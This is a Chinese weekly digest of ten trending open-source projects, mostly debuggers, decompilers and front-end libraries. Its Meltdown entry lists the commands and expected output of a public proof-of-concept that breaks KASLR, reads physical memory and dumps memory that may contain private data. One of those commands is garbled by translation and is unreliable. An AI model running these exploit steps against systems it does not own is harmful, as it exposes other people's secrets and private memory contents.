大家周一好,还在上学的小伙伴们期末考试考完了吗?期末考试考完了学习计划就完了吗?我知道你不会的,你的心里只有学习没有女朋友。书山有路勤为径,代码没写完不行。还在上班的伙伴们离过年还有整整一个月,放假还早,时间不少,冬天外面冷,呆在室内写写代码,看看项目,何乐而不为呢?(滑稽表情)

本周开源周报流行开源项目榜中榜前十名项目有 x64dbg 给 Windows 系统的开源调试器,反编译apk的 JADX,反编译 Java 的 Byte-code viewer,汇编工具 asm-dude,可以说是反编译器扎堆了,前一阵子 Intel 处理器(后来证实 AMD 、ARM、NVIDIA等处理器部分也有)爆出来的 meltdown 等漏洞把大家折腾得惨烈无比,全球用户一片哀嚎,不过很快就有跟它有关的开源项目啦,并且热度不减;而关注前端的朋友,可以看看厉害的 Nerv库,它提供了与React 16一致的使用方式与API,并且拥有更高的性能表现、更小的包大小以及更好的浏览器兼容性。

本周流行开源项目榜中榜开源趋势 Top 10

0. x64dbg

一个为32位和64位 windows 系统准备的开源调试器

这个调试器在打开程序和程序启动的入口处都设置了断点,从而可以让使用者观察程序的状态,比如 CPU 的地址及其地址的内容;内存的地址,大小,页面信息,内容,类型等等等等。几乎可以让使用者在运行程序的同时完全的监视这个程序,还可以通过在程序中设置断点来进一步观察运行状态。

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

特点:

1.可以全功能的调试 dll 和 exe 文件

2.附带跳转箭头的 IDA 侧边栏和 IDA 指令标记笔

3.可动态识别模块与字符串

4.快速的反汇编程序

5.拥有用于注释,标签等功能的用户数据库

6.支持插件

7.拥有可扩展,可调试的脚本语言,便于自动化

1. JADX

 开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

简介:一个能够反编译二进制和APK文件的开源软件,同时拥有GUI和命令行两种操作方式。

用法:

Windows下:来到build/jadx/bin目录下,双击jadx-gui.bat,然后选择要反编译的apk即可。

命令行:把apk拷贝到bin目录下,命令行cd到bin目录下:键入jadx -d out xxx.apk会把编译后的源码丢到out目录下。

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威优势:
  1. 相比于传统的安卓反汇编方式(apktool+dex2jar+jd-gui)更加集成化。
  2. 可以直接导出项目源代码为Gradle项目,方便使用 Android Studio 再次开发。

2.workerize

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

workerize 能将模块移动到 Web Worker 中,自动将导出的函数反应为异步代理

特点:

  • 将一个小型的专门构建的RPC实现捆绑到您的应用程序中
  • 如果导出的模块方法已经是异步的,那么签名是不变的
  • 支持同步和异步工作者功能
  • 与异步/等待美妙地工作
  • 只需900字节的压缩ES3

用法:

传递一个函数或一个包含代码的字符串

3. Bytecode Viewer

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

Bytecode-viewer 是一个由五个不同的Java 反编译器,两个字节码编辑器,一个Java 编译器,Android APK等组成的工具。

主要特点:

1.  Smali / BakSmali集成 – 可以通过smali编辑类文件/ dex文件。

2.  APK / DEX支持 – 使用Dex2Jar和Jar2Dex,可以轻松加载和保存APK。

3. Java反编译器 – 利用FernFlower,Procyon和CFR进行反编译。

4. 每个反编译器/编辑器/查看器都是可切换的,也可以自定义每个窗格上显示的内容。

 5. 全功能的搜索系统 – 通过字符串,函数,变量等等搜索。

6. 内置的插件系统 – (恶意代码扫描器,字符串解密器等)

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

更多信息:https://wiki.bytecode.club/Bytecode_Viewer

社区地址:https://the.bytecode.club/forumdisplay.php?fid=69

关于Bytecode俱乐部:

这是一个专注于逆向工程的社区,他们尝试以Java / Android为目标,但也包括其他语言/平台。为支持和免费开放源代码应用感到自豪。

4. Nerv

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

Nerv是一款基于虚拟DOM技术的JavaScript(TypeScript)库,它提供了与React 16一致的使用方式与API,并且拥有更高的性能表现、更小的包大小以及更好的浏览器兼容性。

特性:

  1. 与React保持一致的API,不需要 nerv-compat
  2. 久经战斗洗礼,已经应用于京东PC首页 与 京东旗下TOPLIFE
  3. 强劲的性能
  4. IE8兼容
  5. 更小尺寸, 9Kb gziped
  6. 支持客户端与服务端同构渲染
  7. 支持React 16的新特性, 例如错误处理, Portals, 自定义DOM属性等等.

熟悉react框架的人可以直接上手nerv,从React切换成使用Nerv非常方便,只需要将react 和 react-dom 重命名成 nervjs,而不需要任何的代码变动。

5. Eel

Eel是一个小型的Python(目前仅用于Python3)库,用于制作简单的类似Electron的HTML / JS GUI应用程序

它拥有一个本地的网络服务器,然后让你用Python声明函数,以便从Javascript调用它们,反之亦然。

它的设计目的在于编写短而简单的GUI应用程序。

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

Eel不像Electron或Cefpython那样完全成熟 – 它可能不适合做像Atom这样全面的应用程序 – 但它非常适合使你自己使用的小实用程序脚本的GUI相当。

6. algorithms_and_data_structures

该项目是一份 c++描述的算法与数据结构问题的解决方案的集合,当你遇到难题时,来这里寻找说不定能有意外的收获。另外,要补充的是,该项目采用的是GNU通用公共许可证,那么,你能干嘛不能干嘛就不必我赘述了吧。

当前分类:

  1. 链表问题
  2. Include 部分:提供了一些常用算法和大部分数据结构的泛型实现
  3. 位操作问题
  4. 《程序员面试金典》中的部分问题
  5. 动态规划中的一些问题
  6. 关于树的问题
  7. 字符串问题
  8. 常见的数据结构与逻辑问题
  9. 数学问题
  10. 堆栈问题
  11. 排序与搜索问题
  12. 图形问题
  13. 贪心算法问题
  14. LeetCode上的一些问题
开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

7. meltdown

一个新发现的bug,提供了多个演示视频,演示视频使用的是Ubuntu 16.04以及Intel i7,但他们应该可以工作在任何基于2010年以后的现代Intel CPU的Linux系统上。为了取得最好的演示效果,最好使用支持Intel TSX的快速CPU

链接:

这个库包含了多个应用程序来展示Meltdown bug. 技术信息参考:https://meltdown.help/meltdown.pdf

操作步骤:

1、对于支持RPM的系统:首先安装glibc-static

sudo yum install -y glibc-static

演示

1#

首先测试第一个代码,如果其不工作,则其他的演示也将失败,原因请参考github网站

make

taskset 0x1 ./test

如果看到以下代码则表示可以运行

Expect: Welcome to the wonderful world of microarchitectural attacks

Got: Welcome to the wonderful world of microarchitectural attacks

2# 破坏kaslr

输入:

make

sudo taskset 0x1 ./kaslr

等待几秒钟后你将看到

[+] Direct physical map offset: 0xffff880000000000

3#可靠性测试

如果你有KASLR启用,第一个参数是physical map的偏移量。否则,程序不需要参数。

make

sudo taskset 0x1 ./reliability 0xffff880000000000

等待几秒钟后你将看到

[-] Success rate: 99.93% (read 1354 values)

4#读物理内存

提供了一个可读的测试工具(secret)

make

sudo ./secret

等待几秒钟后你将看到

[+] Secret: If you can read this, this is really bad

[+] Physical address of secret: 0x390fff400

[+] Exit with Ctrl+C if you are done reading the secret

让secret继续运行并开始physical_reader,如果你有没KASLR启用,第二个参数是physical map的偏移量。否则,程序不需要参数。

taskset 0 x1。 / physical_reader 0 0 xffff880000000000 x390fff400

等待几秒钟后你将看到:

[+] Physical address       : 0x390fff400

[+] Physical offset        : 0xffff880000000000

[+] Reading virtual address: 0xffff880390fff400

 

If you can read this, this is really bad

5#转存内存

首先运行给的测试工具memory_filler,来给内存填充可读信息。第一个变量是要填充的数量(以千兆字节为单位)

make

./memory_filler 9

接下来运行工具memdump

执行memory_filler之前,您应该看到一些字符串片段。如果你有Firefox和Chrome运行多个标签,您还会看到最近点开或关闭的网站。

第一个参数是转储应该开始的物理地址。如果你有没KASLR启用,第二个参数是physical map的偏移量。

taskset 0x1 ./memdump 0x240000000 0xffff880000000000 # start at 9 GB

你将获得16进制显示的一部分内存(可能包含隐私文件)

8. Web Developer Roadmap

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

作者应一位老教授的要求给老教授的学生做了一份对前景的分析,给迷茫的小朋友们介绍了通向成为一个前端,后台或者是一个DevOps(开发软件、技术运营和质量保障(QA)三者的交集)的路径与其对应的技术,以及通向任一方向前应掌握的东西。

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

作者还打算做一份相关资源的图表,但还未实施;同时作者很欢迎读者询问,并与他一起对这些图表做出改进

作者制作图表的工具:https://balsamiq.com/products/

9. TopSup

简介:使用截图,文字识别,搜索的小辅助。

使用步骤 (谷歌 Tesseract)

Android

安装ADB

下载地址:https://adb.clockworkmod.com/ 安装完后插入安卓设备且安卓已打开 USB 调试模式,终端输入 adb devices ,显示设备号则表示成功。我手上的机子是坚果 pro1,第一次不成功,查看设备管理器有叹号,使用 handshaker 加载驱动后成功,也可以使用豌豆荚之类的试试。

安装python3

安装所需python包

命令行:

pip install pytesseract

pip install pillow

pip install requests

安装谷歌Tesseract

Windows下链接: 推荐使用安装版,在安装时选择增加中文简体语言包

  • 安装版:

https://digi.bib.uni-mannheim.de/tesseract/tesseract-ocr-setup-3.05.01.exe

  • 免安装版:

https://github.com/parrot-office/tesseract/releases/download/3.5.1/tesseract-Win64.zip 免安装版需要下载中文语言包

其他系统: https://github.com/tesseract-ocr/tesseract/wiki

修改 GetTitleTessAndroid 代码相应目录信息(默认安装则无需修改)

# tesseract 路径

pytesseract.pytesseract.tesseract_cmd = ‘C:\\Program Files (x86)\\Tesseract-OCR\\tesseract’

# 语言包目录和参数

tessdata_dir_config = ‘–tessdata-dir “C:\\Program Files (x86)\\Tesseract-OCR\\tessdata” –psm 6’

运行脚本

python GetQuestionTessAndroid.py 会自动识别文字并打开浏览器

注: 可以用 GetImgTool.py 调整题目截取位置

可以到

https://github.com/Skyexu/TopSup/blob/master/common/devicesCutConfig.txt

查看部分手机截图设置 若屏幕分辨率不同,请在 ocr.py 中自行修改代码即可

# 切割题目和选项位置,左上角坐标和右下角坐标,自行测试分辨率

question_im = image.crop((50, 350, 1000, 560)) # 坚果 pro1

choices_im = image.crop((75, 535, 990, 1150))

# question = img.crop((75, 315, 1167, 789)) # iPhone 7P

其它

  • Tesseract 参数,若识别有问题可以更改参数解决:

https://github.com/tesseract-ocr/tesseract/blob/master/doc/tesseract.1.asc

  • 三种方法可以选择,可以加#注释掉只保留一个方法

10. asm-dude

 

Asm-dude 是一个应用于 Visual Studio 2015/2017 汇编代码编写功能以及反编译功能的辅助工具。他拥有将语法高亮显示并提供说明(指向、作用),这个功能对x86指令集和x64,SSE、AVX、avx2、Xeon Phi(Knights Corner),最常用的汇编指令的和一些NASM指令提供支持;并支持文档链接的快速跳转,自动生成部分简单代码,对代码进行折叠,自动提示参数,标签校验等功能。

开源周报2018年第3期:反编译器上榜扎堆,JS库 Nerv 显神威

除此之外,它的2.0版本拥有汇编模拟器功能,模拟器提供Multi-Valued Logics、显示登记内容、多种错误检查(使用未定义的值,冗余指令,不可能触发的逻辑判断指令,语法错误)等功能。

该工具仍在持续更新完善,如果你在使用这个工具时有任何疑问与建议,都可以在github中向作者提出。

好了,本期开源周报到这里就结束了,欢迎下周同一时间再见。